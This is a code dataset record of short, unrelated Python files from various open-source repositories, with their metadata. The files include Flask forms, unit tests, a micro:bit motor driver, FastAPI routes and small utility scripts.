app/forms.py

luckyharryji/Plask

82508b48cb393a011641ac808cfea7323cd1bdfa

[ "MIT" ]

null

#coding=utf-8 from flask.ext.wtf import Form from wtforms import TextField from wtforms import PasswordField from wtforms.validators import Required from flask_wtf.html5 import EmailField import sys reload(sys) sys.setdefaultencoding('utf-8') class LoginForm(Form): username = TextField('Userame', validators = [Required()]) password = PasswordField('Password', validators = [Required()]) class RegisterForm(Form): username = TextField('Userame', validators = [Required()]) password = PasswordField('Password', validators = [Required()]) password_again = PasswordField('Password again', validators = [Required()]) mail = TextField('Mail', validators = [Required()])

32.142857

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0

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675

20

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0

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null

1

0

null

0

1

0

1

0

4

89174ff3fc25baabfca3d00a168d8cd6089f4b9d

229

py

Python

tests/test_fixture.py

Shiti/h1st

0805452bda2453924663203b11f448e31525d596

[ "Apache-2.0" ]

null

tests/test_fixture.py

Shiti/h1st

0805452bda2453924663203b11f448e31525d596

[ "Apache-2.0" ]

null

tests/test_fixture.py

Shiti/h1st

0805452bda2453924663203b11f448e31525d596

[ "Apache-2.0" ]

null

import pytest from _pytest.monkeypatch import MonkeyPatch @pytest.fixture(scope="class") def mock_env_simple(): monkeypatch = MonkeyPatch() monkeypatch.setenv("H1ST_ENGINE", "h1st.engines.simple.SimpleExecutionEngine")

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64e63fa49b34a6b7f1487ebe178879b9f62abf3c

3,976

py

Python

tests/test_hitemp.py

mdhimes/repack

d5f476d3b62a65695de34fa8b66f03c76c6863d2

[ "MIT" ]

4

2017-08-25T06:27:25.000Z

2021-07-07T08:19:14.000Z

tests/test_hitemp.py

mdhimes/repack

d5f476d3b62a65695de34fa8b66f03c76c6863d2

[ "MIT" ]

1

2021-03-01T14:20:46.000Z

tests/test_hitemp.py

mdhimes/repack

d5f476d3b62a65695de34fa8b66f03c76c6863d2

[ "MIT" ]

1

2021-02-26T17:25:31.000Z

import os import subprocess ROOT = os.path.realpath(os.path.dirname(__file__) + '/..') + '/' os.chdir(ROOT+'tests') def test_hitemp_single_zip(capfd): subprocess.call('repack hitemp_repack_single_zip.cfg'.split()) capfd = capfd.readouterr() assert """Reading: 'data/02_03750-04000_HITEMP2010.zip'. Flagging lines at 500 K: Compression rate: 76.11%, 51,071/ 213,769 lines. Flagging lines at 700 K: Compression rate: 67.97%, 68,468/ 213,769 lines. Total compression rate: 66.26%, 72,118/ 213,769 lines. With a threshold strength factor of 0.01, kept a total of 72,118 line transitions out of 213,769 lines. Successfully rewriten hitran line-transition info into: 'CO2_hitran_2.5-2.6um_500-700K_lbl.dat' and 'CO2_hitran_2.5-2.6um_500-700K_continuum.dat'.""" in capfd.out def test_hitemp_single_unzip(capfd): # Unzip files before repacking: subprocess.call('unzip data/02_03750-04000_HITEMP2010.zip -d data/'.split()) subprocess.call('repack hitemp_repack_single_unzip.cfg'.split()) capfd = capfd.readouterr() assert """Reading: 'data/02_3750-4000_HITEMP2010.par'. Flagging lines at 500 K: Compression rate: 76.11%, 51,071/ 213,769 lines. Flagging lines at 700 K: Compression rate: 67.97%, 68,468/ 213,769 lines. Total compression rate: 66.26%, 72,118/ 213,769 lines. With a threshold strength factor of 0.01, kept a total of 72,118 line transitions out of 213,769 lines. Successfully rewriten hitran line-transition info into: 'CO2_hitran_2.5-2.6um_500-700K_lbl.dat' and 'CO2_hitran_2.5-2.6um_500-700K_continuum.dat'.""" in capfd.out # Teardown: os.remove('data/02_3750-4000_HITEMP2010.par') def test_hitemp_two_files(capfd): subprocess.call(['repack', 'hitemp_repack_two.cfg']) capfd = capfd.readouterr() assert """Reading: 'data/02_03750-04000_HITEMP2010.zip'. Flagging lines at 500 K: Compression rate: 76.11%, 51,071/ 213,769 lines. Flagging lines at 700 K: Compression rate: 67.97%, 68,468/ 213,769 lines. Total compression rate: 66.26%, 72,118/ 213,769 lines. Reading: 'data/02_04000-04500_HITEMP2010.zip'. Flagging lines at 500 K: Compression rate: 46.12%, 74,492/ 138,258 lines. Flagging lines at 700 K: Compression rate: 18.91%, 112,116/ 138,258 lines. Total compression rate: 18.65%, 112,469/ 138,258 lines. With a threshold strength factor of 0.01, kept a total of 184,587 line transitions out of 352,027 lines. Successfully rewriten hitran line-transition info into: 'CO2_hitran_2.2-2.6um_500-700K_lbl.dat' and 'CO2_hitran_2.2-2.6um_500-700K_continuum.dat'.""" in capfd.out def test_hitemp_single_chunks(capfd): subprocess.call('repack hitemp_repack_single_chunks.cfg'.split()) capfd = capfd.readouterr() assert """Reading: 'data/02_03750-04000_HITEMP2010.zip'. Flagging lines at 500 K (chunk 1/3): Compression rate: 83.40%, 11,826/ 71,256 lines. Flagging lines at 700 K: Compression rate: 78.32%, 15,451/ 71,256 lines. Total compression rate: 76.31%, 16,883/ 71,256 lines. Flagging lines at 500 K (chunk 2/3): Compression rate: 77.27%, 16,199/ 71,256 lines. Flagging lines at 700 K: Compression rate: 68.75%, 22,271/ 71,256 lines. Total compression rate: 66.94%, 23,554/ 71,256 lines. Flagging lines at 500 K (chunk 3/3): Compression rate: 67.64%, 23,057/ 71,257 lines. Flagging lines at 700 K: Compression rate: 56.82%, 30,771/ 71,257 lines. Total compression rate: 55.50%, 31,706/ 71,257 lines. With a threshold strength factor of 0.01, kept a total of 72,143 line transitions out of 213,769 lines. Successfully rewriten hitran line-transition info into: 'CO2_hitran_2.5-2.6um_500-700K_lbl.dat' and 'CO2_hitran_2.5-2.6um_500-700K_continuum.dat'.""" in capfd.out

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0

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8f2332836347a6f5b456900dd7ac5532904da592

20,403

py

Python

tests/test_FBbasis3D.py

PrincetonUniversity/ASPIRE-Python

1bff8d3884183203bd77695a76bccb1efc909fd3

[ "MIT" ]

7

2018-11-07T16:45:35.000Z

2020-01-10T16:54:26.000Z

tests/test_FBbasis3D.py

PrincetonUniversity/ASPIRE-Python

1bff8d3884183203bd77695a76bccb1efc909fd3

[ "MIT" ]

1

2019-04-05T18:41:39.000Z

tests/test_FBbasis3D.py

PrincetonUniversity/ASPIRE-Python

1bff8d3884183203bd77695a76bccb1efc909fd3

[ "MIT" ]

2

2019-06-04T17:01:53.000Z

2019-07-08T19:01:40.000Z

import os.path from unittest import TestCase import numpy as np from aspire.basis import FBBasis3D from aspire.utils import utest_tolerance DATA_DIR = os.path.join(os.path.dirname(__file__), "saved_test_data") class FBBasis3DTestCase(TestCase): def setUp(self): self.dtype = np.float32 self.basis = FBBasis3D((8, 8, 8), dtype=self.dtype) def tearDown(self): pass def testFBBasis3DIndices(self): indices = self.basis.indices() self.assertTrue( np.allclose( indices["ells"], [ 0.0, 0.0, 0.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 3.0, 3.0, 3.0, 3.0, 3.0, 3.0, 3.0, 3.0, 3.0, 3.0, 3.0, 3.0, 3.0, 3.0, 4.0, 4.0, 4.0, 4.0, 4.0, 4.0, 4.0, 4.0, 4.0, 4.0, 4.0, 4.0, 4.0, 4.0, 4.0, 4.0, 4.0, 4.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 6.0, 6.0, 6.0, 6.0, 6.0, 6.0, 6.0, 6.0, 6.0, 6.0, 6.0, 6.0, 6.0, 7.0, 7.0, 7.0, 7.0, 7.0, 7.0, 7.0, 7.0, 7.0, 7.0, 7.0, 7.0, 7.0, 7.0, 7.0, ], ) ) self.assertTrue( np.allclose( indices["ms"], [ 0.0, 0.0, 0.0, -1.0, -1.0, -1.0, 0.0, 0.0, 0.0, 1.0, 1.0, 1.0, -2.0, -2.0, -2.0, -1.0, -1.0, -1.0, 0.0, 0.0, 0.0, 1.0, 1.0, 1.0, 2.0, 2.0, 2.0, -3.0, -3.0, -2.0, -2.0, -1.0, -1.0, 0.0, 0.0, 1.0, 1.0, 2.0, 2.0, 3.0, 3.0, -4.0, -4.0, -3.0, -3.0, -2.0, -2.0, -1.0, -1.0, 0.0, 0.0, 1.0, 1.0, 2.0, 2.0, 3.0, 3.0, 4.0, 4.0, -5.0, -4.0, -3.0, -2.0, -1.0, 0.0, 1.0, 2.0, 3.0, 4.0, 5.0, -6.0, -5.0, -4.0, -3.0, -2.0, -1.0, 0.0, 1.0, 2.0, 3.0, 4.0, 5.0, 6.0, -7.0, -6.0, -5.0, -4.0, -3.0, -2.0, -1.0, 0.0, 1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, ], ) ) self.assertTrue( np.allclose( indices["ks"], [ 0.0, 1.0, 2.0, 0.0, 1.0, 2.0, 0.0, 1.0, 2.0, 0.0, 1.0, 2.0, 0.0, 1.0, 2.0, 0.0, 1.0, 2.0, 0.0, 1.0, 2.0, 0.0, 1.0, 2.0, 0.0, 1.0, 2.0, 0.0, 1.0, 0.0, 1.0, 0.0, 1.0, 0.0, 1.0, 0.0, 1.0, 0.0, 1.0, 0.0, 1.0, 0.0, 1.0, 0.0, 1.0, 0.0, 1.0, 0.0, 1.0, 0.0, 1.0, 0.0, 1.0, 0.0, 1.0, 0.0, 1.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, ], ) ) def testFBBasis3DNorms(self): norms = self.basis.norms() self.assertTrue( np.allclose( norms, [ 1.80063263231421, 0.900316316157109, 0.600210877438065, 1.22885897287928, 0.726196138639673, 0.516613361675378, 0.936477951517100, 0.610605075148750, 0.454495363516488, 0.756963071176142, 0.527618747123993, 0.635005913075500, 0.464867421846148, 0.546574142892508, 0.479450758110826, 0.426739123914569, ], ) ) def testFBBasis3DEvaluate(self): coeffs = np.array( [ 1.07338590e-01, 1.23690941e-01, 6.44482039e-03, -5.40484306e-02, -4.85304586e-02, 1.09852144e-02, 3.87838396e-02, 3.43796455e-02, -6.43284705e-03, -2.86677145e-02, -1.42313328e-02, -2.25684091e-03, -3.31840727e-02, -2.59706174e-03, -5.91919887e-04, -9.97433028e-03, 9.19123928e-04, 1.19891589e-03, 7.49154982e-03, 6.18865229e-03, -8.13265715e-04, -1.30715655e-02, -1.44160603e-02, 2.90379956e-03, 2.37066082e-02, 4.88805735e-03, 1.47870707e-03, 7.63376018e-03, -5.60619559e-03, 1.05165081e-02, 3.30510143e-03, -3.48652120e-03, -4.23228797e-04, 1.40484061e-02, 1.42914291e-03, -1.28129504e-02, 2.19868825e-03, -6.30835037e-03, 1.18524223e-03, -2.97855052e-02, 1.15491057e-03, -8.27947006e-03, 3.45442781e-03, -4.72868856e-03, 2.66615329e-03, -7.87929790e-03, 8.84126590e-04, 1.59402808e-03, -9.06854048e-05, -8.79119004e-03, 1.76449039e-03, -1.36414673e-02, 1.56793855e-03, 1.44708445e-02, -2.55974802e-03, 5.38506357e-03, -3.24188673e-03, 4.81582945e-04, 7.74260101e-05, 5.48772082e-03, 1.92058500e-03, -4.63538896e-03, -2.02735133e-03, 3.67592386e-03, 7.23486969e-04, 1.81838422e-03, 1.78793284e-03, -8.01474060e-03, -8.54007528e-03, 1.96353845e-03, -2.16254252e-03, -3.64243996e-05, -2.27329863e-03, 1.11424393e-03, -1.39389189e-03, 2.57787159e-04, 3.66918811e-03, 1.31477774e-03, 6.82220128e-04, 1.41822851e-03, -1.89476924e-03, -6.43966255e-05, -7.87888465e-04, -6.99459279e-04, 1.08918981e-03, 2.25264584e-03, -1.43651015e-04, 7.68377620e-04, 5.05955256e-04, 2.66936132e-06, 2.24934884e-03, 6.70529439e-04, 4.81121742e-04, -6.40789745e-05, -3.35915672e-04, -7.98651783e-04, -9.82705453e-04, 6.46337066e-05, ], dtype=self.dtype, ) result = self.basis.evaluate(coeffs) self.assertTrue( np.allclose( result, np.load(os.path.join(DATA_DIR, "hbbasis_evaluation_8_8_8.npy")).T, atol=utest_tolerance(self.dtype), ) ) def testFBBasis3DEvaluate_t(self): v = np.load(os.path.join(DATA_DIR, "hbbasis_coefficients_8_8_8.npy")).T result = self.basis.evaluate_t(v.astype(self.dtype)) self.assertTrue( np.allclose( result, [ 1.07338590e-01, 1.23690941e-01, 6.44482039e-03, -5.40484306e-02, -4.85304586e-02, 1.09852144e-02, 3.87838396e-02, 3.43796455e-02, -6.43284705e-03, -2.86677145e-02, -1.42313328e-02, -2.25684091e-03, -3.31840727e-02, -2.59706174e-03, -5.91919887e-04, -9.97433028e-03, 9.19123928e-04, 1.19891589e-03, 7.49154982e-03, 6.18865229e-03, -8.13265715e-04, -1.30715655e-02, -1.44160603e-02, 2.90379956e-03, 2.37066082e-02, 4.88805735e-03, 1.47870707e-03, 7.63376018e-03, -5.60619559e-03, 1.05165081e-02, 3.30510143e-03, -3.48652120e-03, -4.23228797e-04, 1.40484061e-02, 1.42914291e-03, -1.28129504e-02, 2.19868825e-03, -6.30835037e-03, 1.18524223e-03, -2.97855052e-02, 1.15491057e-03, -8.27947006e-03, 3.45442781e-03, -4.72868856e-03, 2.66615329e-03, -7.87929790e-03, 8.84126590e-04, 1.59402808e-03, -9.06854048e-05, -8.79119004e-03, 1.76449039e-03, -1.36414673e-02, 1.56793855e-03, 1.44708445e-02, -2.55974802e-03, 5.38506357e-03, -3.24188673e-03, 4.81582945e-04, 7.74260101e-05, 5.48772082e-03, 1.92058500e-03, -4.63538896e-03, -2.02735133e-03, 3.67592386e-03, 7.23486969e-04, 1.81838422e-03, 1.78793284e-03, -8.01474060e-03, -8.54007528e-03, 1.96353845e-03, -2.16254252e-03, -3.64243996e-05, -2.27329863e-03, 1.11424393e-03, -1.39389189e-03, 2.57787159e-04, 3.66918811e-03, 1.31477774e-03, 6.82220128e-04, 1.41822851e-03, -1.89476924e-03, -6.43966255e-05, -7.87888465e-04, -6.99459279e-04, 1.08918981e-03, 2.25264584e-03, -1.43651015e-04, 7.68377620e-04, 5.05955256e-04, 2.66936132e-06, 2.24934884e-03, 6.70529439e-04, 4.81121742e-04, -6.40789745e-05, -3.35915672e-04, -7.98651783e-04, -9.82705453e-04, 6.46337066e-05, ], atol=utest_tolerance(self.dtype), ) ) def testFBBasis3DExpand(self): v = np.load(os.path.join(DATA_DIR, "hbbasis_coefficients_8_8_8.npy")).T result = self.basis.expand(v.astype(self.dtype)) self.assertTrue( np.allclose( result, [ +0.10743660, +0.12346847, +0.00684837, -0.05410818, -0.04840195, +0.01071116, +0.03878536, +0.03437083, -0.00638332, -0.02865552, -0.01425294, -0.00223313, -0.03317134, -0.00261654, -0.00056954, -0.00997264, +0.00091569, +0.00123042, +0.00754713, +0.00606669, -0.00043233, -0.01306626, -0.01443522, +0.00301968, +0.02375521, +0.00477979, +0.00166319, +0.00780333, -0.00601982, +0.01052385, +0.00328666, -0.00336805, -0.00070688, +0.01409127, +0.00127259, -0.01289172, +0.00234488, -0.00630249, +0.00117541, -0.02974037, +0.00108834, -0.00823955, +0.00340772, -0.00471875, +0.00266391, -0.00789639, +0.00093529, +0.00160710, -0.00011925, -0.00817443, +0.00046713, -0.01357463, +0.00145920, +0.01452459, -0.00267202, +0.00535952, -0.00322100, +0.00092083, -0.00075300, +0.00509418, +0.00193687, -0.00483399, -0.00204537, +0.00338492, +0.00111248, +0.00194841, +0.00174416, -0.00814324, -0.00839777, +0.00199974, -0.00196156, -0.00014695, -0.00245317, +0.00109957, -0.00146145, +0.00015149, +0.00415232, +0.00121810, +0.00066095, +0.00166167, -0.00231911, -0.00025819, -0.00086808, -0.00074656, +0.00110445, +0.00285573, -0.00014959, +0.00093241, +0.00051144, +0.00004805, +0.00250166, +0.00059104, +0.00066592, +0.00019188, -0.00079074, -0.00068995, -0.00087668, +0.00052913, ], atol=utest_tolerance(self.dtype), ) ) def testInitWithIntSize(self): # make sure we can instantiate with just an int as a shortcut self.assertEqual((8, 8, 8), FBBasis3D(8).sz)

28.981534

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0.257021

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3.196078

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1

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1

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null

0

4

56ad2453fa5ccad4539cf94804725b72c0120fb4

307

py

Python

python/coding_bat/no_teen_sum/no_teen_sum.py

lmregus/Portfolio

9a751443edbfe5ff2b47cdeacca86761ed03e81f

[ "MIT" ]

null

python/coding_bat/no_teen_sum/no_teen_sum.py

lmregus/Portfolio

9a751443edbfe5ff2b47cdeacca86761ed03e81f

[ "MIT" ]

1

2021-11-15T17:46:44.000Z

python/coding_bat/no_teen_sum/no_teen_sum.py

lmregus/Portfolio

9a751443edbfe5ff2b47cdeacca86761ed03e81f

[ "MIT" ]

null

######################### # # # Developer: Luis Regus # # # ######################### def no_teen_sum(a, b, c): return fix_teen(a) + fix_teen(b) + fix_teen(c) def fix_teen(n): if n >= 13 and n < 15 or n > 16 and n <= 19: return 0 return n

20.466667

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0.37785

40

307

2.75

0.525

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0.068404

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null

0

1

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1

0

4

56cec01d52f11d8f2f3a25691713685b1f184c30

64

py

Python

general_run_functions.py

mpwesthuizen/eng57_factory

3d7b72eeb17538f5d2121bb72dd942826e746735

[ "MIT" ]

null

general_run_functions.py

mpwesthuizen/eng57_factory

3d7b72eeb17538f5d2121bb72dd942826e746735

[ "MIT" ]

null

general_run_functions.py

mpwesthuizen/eng57_factory

3d7b72eeb17538f5d2121bb72dd942826e746735

[ "MIT" ]

null

from general_functions import say_hello, return_formatted_name

21.333333

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1

0

4

8537f26e7b7d1d075f4b0a51e7b757f704e31675

1,809

py

Python

server/shserver/Category.py

AsherYang/ThreeLine

351dc8bfd1c0a536ffbf36ce8b1af953cc71f93a

[ "Apache-2.0" ]

1

2017-05-02T10:02:28.000Z

server/shserver/Category.py

AsherYang/ThreeLine

351dc8bfd1c0a536ffbf36ce8b1af953cc71f93a

[ "Apache-2.0" ]

null

server/shserver/Category.py

AsherYang/ThreeLine

351dc8bfd1c0a536ffbf36ce8b1af953cc71f93a

[ "Apache-2.0" ]

null

#!/usr/bin/python # -*- coding: utf-8 -*- """ Author: AsherYang Email: ouyangfan1991@gmail.com Date: 2017/9/8. Desc: 商品分类 """ class Category(): @property def cate_id(self): return self.cate_id @property def cate_id(self, value): self.cate_id = value @property def cate_name(self): return self.cate_name @property def cate_name(self, value): self.cate_name = value @property def parent_id(self): return self.parent_id @property def parent_id(self, value): self.parent_id = value @property def parent_cate_name(self): return self.parent_cate_name @property def parent_cate_name(self, value): self.parent_cate_name = value @property def sort_num(self): return self.sort_num @property def sort_num(self, value): self.sort_num = value @property def cate_item_num(self): return self.cate_item_num @property def cate_item_num(self, value): self.cate_item_num = value @property def description(self): return self.description @property def description(self, value): self.description = value @property def listUrl(self): return self.listUrl @property def listUrl(self, value): self.listUrl = value @property def shopName(self): return self.shopName @property def shopName(self, value): self.shopName = value @property def shopLogo(self): return self.shopLogo @property def shopLogo(self, value): self.shopLogo = value @property def update_time(self): return self.update_time @property def update_time(self, value): self.update_time = value

18.459184

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4.886878

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0.05

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1,809

98

39

18.459184

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1

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false

0

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0.507463

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null

1

0

null

0

1

0

1

0

4

85395d0bb5e57d2d3a9551add4eccac4588af94a

32

py

Python

pySPACE/tests/unittests/nodes/sink/__init__.py

pyspace/pyspace

763e62c0e7fa7cfcb19ccee1a0333c4f7e68ae62

[ "BSD-3-Clause" ]

32

2015-02-20T09:03:09.000Z

2022-02-25T22:32:52.000Z

pySPACE/tests/unittests/nodes/sink/__init__.py

pyspace/pyspace

763e62c0e7fa7cfcb19ccee1a0333c4f7e68ae62

[ "BSD-3-Clause" ]

5

2015-05-18T15:08:40.000Z

2020-03-05T19:18:01.000Z

pySPACE/tests/unittests/nodes/sink/__init__.py

pyspace/pyspace

763e62c0e7fa7cfcb19ccee1a0333c4f7e68ae62

[ "BSD-3-Clause" ]

18

2015-09-28T07:16:38.000Z

2021-01-20T13:52:19.000Z

""" Unittests for nodes.sink """

32

0.65625

4

32

5.25

1

0

0.125

32

1

32

0.75

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null

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null

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null

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true

0

null

1

0

null

0

1

0

null

0

1

0

4

85589bfc19c372f77afd99179728115c2705d8d7

188

py

Python

chromato/utils.py

vikpe/chromato

fb5b0ee954941967ad7cebbce837efcad07f6128

[ "MIT" ]

null

chromato/utils.py

vikpe/chromato

fb5b0ee954941967ad7cebbce837efcad07f6128

[ "MIT" ]

null

chromato/utils.py

vikpe/chromato

fb5b0ee954941967ad7cebbce837efcad07f6128

[ "MIT" ]

null

def lerp(v1: float, v2: float, factor: float) -> float: return v1 + ((v2 - v1) * factor) def dict_has_keys(_dict: dict, keys: iter) -> bool: return all(k in _dict for k in keys)

26.857143

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0.632979

32

188

3.59375

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0.034247

0.223404

188

6

56

31.333333

0.753425

0

1

0.5

false

0

0.5

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null

0

1

0

null

0

1

0

1

0

4

85852278279dc5c0c5c920f497f978d6fe469511

3,140

py

Python

tests/test_timed.py

electronhead/whendo

27112834be0935b5b0f7ade4316e35532532e047

[ "MIT" ]

1

2022-03-04T09:25:13.000Z

tests/test_timed.py

electronhead/whendo

27112834be0935b5b0f7ade4316e35532532e047

[ "MIT" ]

null

tests/test_timed.py

electronhead/whendo

27112834be0935b5b0f7ade4316e35532532e047

[ "MIT" ]

null

import time from whendo.core.timed import Timed from whendo.core.util import TimeUnit, PP from whendo.core.action import Action, Rez pause = 3 def test_timely_callable(tmp_path): """ This test exercises the schedule_timely_callable method. """ class Suite: def __init__(self): self.content = "foobarbaz" self.file = "text.txt" self.path = tmp_path / self.file def callable(self): with self.path.open(mode="a") as fid: fid.write(self.content) fid.write("\n") def gather(self): result = [] with self.path.open(mode="r") as fid: result.append(fid.readlines()) return result def run(self): timed = Timed() timed.schedule_timely_callable("tag", self.callable) timed.run() time.sleep(pause) timed.stop() timed.clear() suite = Suite() suite.run() accumulated_content = suite.gather() assert accumulated_content and len(accumulated_content) > 0 def test_random_callable(tmp_path): """ This test exercises the schedule_timely_callable method. """ class Suite: def __init__(self): self.content = "foobarbaz" self.file = "text.txt" self.path = tmp_path / self.file def callable(self): with self.path.open(mode="a") as fid: fid.write(self.content) fid.write("\n") def gather(self): result = [] with self.path.open(mode="r") as fid: result.append(fid.readlines()) return result def run(self): timed = Timed() timed.schedule_random_callable( "tag", self.callable, time_unit=TimeUnit.second, low=1, high=3 ) timed.run() time.sleep(4) timed.stop() timed.clear() suite = Suite() suite.run() accumulated_content = suite.gather() assert accumulated_content and len(accumulated_content) > 0 def test_file_action(tmp_path): """ This test exercises the schedule_timely_callable method. """ class FileAction(Action): def execute(self, tag: str = None, rez: Rez = None): path = tmp_path / "test.txt" with path.open(mode="a") as fid: fid.write("blee\n") return self.action_result() class Suite: def __init__(self, action): self.action = action def gather(self): path = tmp_path / "test.txt" with path.open(mode="r") as fid: return sum(1 for line in fid) def run(self): timed = Timed() timed.schedule_timely_callable("tag", self.action.execute) timed.run() time.sleep(pause) timed.stop() timed.clear() suite = Suite(FileAction()) suite.run() line_count = suite.gather() assert line_count and line_count >= 2, "no lines written to file"

27.068966

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0.548408

362

3,140

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0.043011

0.038232

0.723417

0.710872

0.707288

0.698925

0.658303

0

0.003884

0.343949

3,140

115

79

27.304348

0.808738

0.05414

0

0.690476

0

0.033858

0

0.035714

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false

0

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0.321429

0

null

0

1

0

1

0

null

0

4

859118771e431af1a9372de256ca7927aa4b2d81

935

py

Python

ui/src/blocks/microbit/DriveBit/DriveBit.py

robli298/EduBlocks

35a574b849f0c8cf32d4999d9de26372f0304db5

[ "MIT" ]

null

ui/src/blocks/microbit/DriveBit/DriveBit.py

robli298/EduBlocks

35a574b849f0c8cf32d4999d9de26372f0304db5

[ "MIT" ]

null

ui/src/blocks/microbit/DriveBit/DriveBit.py

robli298/EduBlocks

35a574b849f0c8cf32d4999d9de26372f0304db5

[ "MIT" ]

null

from microbit import * class DriveBit: def __init__(self): pass class motor: class one: def forward(speed): pin12.write_analog (speed) pin13.write_analog (0) def backward(speed): pin12.write_analog (0) pin13.write_analog (speed) def stop(): pin12.write_analog (0) pin13.write_analog (0) class two: def forward(speed): pin14.write_analog (speed) pin15.write_analog (0) def backward(speed): pin14.write_analog (0) pin15.write_analog (speed) def stop(): pin14.write_analog (0) pin15.write_analog (0)

29.21875

46

0.410695

79

935

4.658228

0.291139

0.358696

0.26087

0.11413

0.576087

0.51087

0.358696

0

0.071749

0.522995

935

32

47

29.21875

0.753363

0

0.56

0

1

0.28

false

0.04

0

0.48

0

null

1

0

1

0

null

0

1

0

4

85b7f428ad8ffc0fe3df0302f29d963e01f09155

156

py

Python

pliers/external/__init__.py

nickduran/pliers

9b10b27e70c3fbb7647eb1c70e031f55d824f3f6

[ "BSD-3-Clause" ]

229

2016-12-22T22:55:20.000Z

2020-07-13T19:04:46.000Z

pliers/external/__init__.py

nickduran/pliers

9b10b27e70c3fbb7647eb1c70e031f55d824f3f6

[ "BSD-3-Clause" ]

294

2016-12-23T00:23:25.000Z

2020-07-17T19:44:37.000Z

pliers/external/__init__.py

nickduran/pliers

9b10b27e70c3fbb7647eb1c70e031f55d824f3f6

[ "BSD-3-Clause" ]

61

2017-01-10T00:53:26.000Z

2020-04-27T16:25:53.000Z

''' The `external` module houses any third-party code that is required for pliers to function properly and can be bundled without making life difficult. '''

52

77

0.782051

24

156

5.083333

1

0

0.153846

156

3

78

52

0.924242

0.948718

0

null

0

null

0

null

0

null

1

null

true

0

null

1

0

null

0

1

0

1

0

null

0

1

0

4

a40f9223ee1e836e702b05558372ba84275a3fdc

132

py

Python

00_simple_examples/05_string.py

tlananthu/python-learning

cfda5bfa6c613bcbe8bfe00567cd058ce5afc4a2

[ "Apache-2.0" ]

1

2020-05-11T18:39:54.000Z

00_simple_examples/05_string.py

tlananthu/python-learning

cfda5bfa6c613bcbe8bfe00567cd058ce5afc4a2

[ "Apache-2.0" ]

null

00_simple_examples/05_string.py

tlananthu/python-learning

cfda5bfa6c613bcbe8bfe00567cd058ce5afc4a2

[ "Apache-2.0" ]

null

s="This is string" print(s) print(type(s)) t=s.encode('utf-8') print(t) print(type(t)) u=t.decode('utf-8') print(u) print(type(u))

12

19

0.643939

29

132

2.931034

0.413793

0.317647

0.211765

0

0.016667

0.090909

132

11

20

12

0.691667

0

0.180451

0

1

0

false

0

0.666667

1

0

null

1

0

null

0

1

0

4

a42a27944c7498b4598dec91727278116eadd2c9

522

py

Python

runner/main.py

makeshmakesh/copper-sdk

c938adb39737822d0bfe17c052ca43898eb2a1c3

[ "MIT" ]

null

runner/main.py

makeshmakesh/copper-sdk

c938adb39737822d0bfe17c052ca43898eb2a1c3

[ "MIT" ]

1

2021-04-15T00:10:50.000Z

runner/main.py

makeshmakesh/copper-sdk

c938adb39737822d0bfe17c052ca43898eb2a1c3

[ "MIT" ]

4

2021-01-07T05:30:49.000Z

2021-09-13T08:08:54.000Z

from copper_sdk import copper from dotenv import dotenv_values import notes.lead import notes.opportunity import notes.task def notes_examples(copper_client, config): notes.lead.run(copper_client, config) notes.opportunity.run(copper_client, config) notes.task.run(copper_client, config) # notes.task.run_old(copper_client, config) if __name__ == "__main__": config = dotenv_values(".env") copper_client = copper.Copper(config["TOKEN"], config["EMAIL"]) notes_examples(copper_client, config)

30.705882

67

0.762452

70

522

5.385714

0.314286

0.222812

0.286472

0.244032

0.400531

0.167109

0

0.132184

522

16

68

32.625

0.83223

0.078544

0

0.045929

0

1

0.076923

false

0

0.384615

0

0.461538

0

null

1

0

null

0

1

0

4

a436b75007a7dd06b47b68b7c18d558330dcdf7a

182

py

Python

app/api/routes/api.py

socylx/fastapi-with-mongo

49fca010f339b9be0ce5f8445c317db60969785d

[ "MIT" ]

null

app/api/routes/api.py

socylx/fastapi-with-mongo

49fca010f339b9be0ce5f8445c317db60969785d

[ "MIT" ]

null

app/api/routes/api.py

socylx/fastapi-with-mongo

49fca010f339b9be0ce5f8445c317db60969785d

[ "MIT" ]

null

from fastapi import APIRouter from app.api.routes import authentication router = APIRouter() router.include_router(authentication.router, tags=["authentication"], prefix="/users")

26

86

0.802198

21

182

6.904762

0.619048

0.275862

0

0.087912

182

7

86

26

0.873494

0

0.10929

0

1

0

false

0

0.5

0

0.5

0

1

0

null

1

0

1

0

null

0

1

0

4

a49dc54e289dc192a3e21779788a86c02215c820

71

py

Python

src/clr_db.py

stormi/tsunami

bdc853229834b52b2ee8ed54a3161a1a3133d926

[ "BSD-3-Clause" ]

14

2015-08-21T19:15:21.000Z

2017-11-26T13:59:17.000Z

src/clr_db.py

stormi/tsunami

bdc853229834b52b2ee8ed54a3161a1a3133d926

[ "BSD-3-Clause" ]

20

2015-09-29T20:50:45.000Z

2018-06-21T12:58:30.000Z

src/clr_db.py

stormi/tsunami

bdc853229834b52b2ee8ed54a3161a1a3133d926

[ "BSD-3-Clause" ]

3

2015-05-02T19:42:03.000Z

2018-09-06T10:55:00.000Z

from pymongo import MongoClient MongoClient().drop_database("tsunami")

23.666667

38

0.830986

8

71

7.25

0.875

0

0.070423

71

2

39

35.5

0.878788

0

0.098592

0

1

0

true

0

0.5

0

0.5

0

1

0

null

0

1

0

null

0

1

0

1

0

4

f10fa07bc91742842e9f1ac5c0e6ce2f4430c7ed

189

py

Python

src/pipeline_step/pipeline_step.py

codefo-O/on-prem_etl_pipeline

986c060e8dfaa649fa0c95dc8bb71999ee7caf11

[ "Apache-2.0" ]

null

src/pipeline_step/pipeline_step.py

codefo-O/on-prem_etl_pipeline

986c060e8dfaa649fa0c95dc8bb71999ee7caf11

[ "Apache-2.0" ]

null

src/pipeline_step/pipeline_step.py

codefo-O/on-prem_etl_pipeline

986c060e8dfaa649fa0c95dc8bb71999ee7caf11

[ "Apache-2.0" ]

null

